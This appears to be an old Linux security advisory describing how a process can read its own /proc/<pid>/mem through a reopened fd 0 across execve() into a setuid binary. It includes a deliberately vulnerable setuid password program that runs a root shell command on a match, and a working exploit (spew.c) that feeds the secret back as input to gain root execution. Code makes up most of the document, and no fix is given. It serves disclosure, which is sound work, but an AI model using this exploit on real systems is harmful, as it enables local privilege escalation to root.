COMMAND
execve()
SYSTEMS AFFECTED
Linux
PROBLEM
zen-parse found following. It is possible (under certain
circumstances) to read from /proc/$$/mem by close()ing fd 0, and
open()ing it with /proc/<curpid>/mem. After opening to it,
lseek()ing to the memory offset in the process you want to read
from will cause the program to receive as input the text at that
position when it read()s from fd 0. (eg: the /proc/<curpid>/mem
file handle remains open through the execve() and the setuid
process will have permission to read from it.)
This doesn't seem to be very secure behaviour. (Not sure how to
fix it, but is possible to exploit a seemingly secure, although
badly written, program with this method.)
The sample program simulates a password program. The correct
password is a 16 character sequence read from /dev/random, however
anything could be substituted, as long as it is in memory before
the read is done, and is in the same form as the input it is to be
compared with.
This method could also be used to discover any data a program has
in memory, as long as it is usually possible to somehow retrieve
the information you typed outside the program.
/**********************************************
** vuln-prog.c - chown root:root, chmod u+s **
**********************************************/
char *password, *input;
main(int argc,char*argv[])
{
int fd,count;
if(0>(fd=open("/dev/urandom",0)))exit(1);//check for resource starvation
password=(char*)malloc(17);
read(fd,password,16);
if(close(fd))exit(1);
password[16]=0;
input=(char*)malloc(17);
for(count=0;count<16;count++)input[count]=getchar();
input[count]=0;
for(count=0;count<16;count++)if(input[count]!=password[count])exit(1);
setreuid(0,0);
execl("/bin/bash","sh","-c",argv[1],0);
}
EOF
exploit:-
/* spew.c */
#include <stdio.h>
/* to get the address, ltrace a copy of the program as a normal user,
or brute force it over the expected range. */
#define WHERETOREAD [the address malloced for password by vuln-prog]
// use ltrace on a non setuid copy of the program, or bruteforce it.
main()
{
char y[1000];
FILE *f;
int p;
p=getpid();
sprintf(y,"/proc/%d/mem",p);
close(0);
f=fopen(y,"r");
fseek(f,WHERETOREAD,SEEK_SET);
execl("/tmp/vuln-prog","scary","/tmp/myscript",0);
}
SOLUTION
Nothing yet.